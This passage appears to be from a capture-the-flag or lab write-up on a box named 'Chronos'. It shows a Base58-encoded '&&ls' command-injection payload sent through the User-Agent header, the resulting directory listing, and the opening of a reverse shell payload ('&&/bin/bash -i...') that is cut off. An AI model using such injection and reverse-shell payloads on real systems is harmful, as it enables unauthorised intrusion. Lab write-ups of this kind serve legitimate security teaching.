http://r2km7u25qebaefa7b6jdcjldymc2u337vzpx7ne773ypgs3qlq4xycqd.onion/index.php?page=Chronos
This suggested a potential command injection vulnerability. To test this theory, I crafted a payload with &&ls encoded in Base58: # && ls command encoded in Base58: yZSGA The response included both the date output and a directory listing, confirming command injection by sending this with the "Chronos" User-Agent: app.js
node_modules
package.json
package-lock.json Initial Access With command injection confirmed, I created a reverse shell payload: # Payload: &&/bin/bash -i...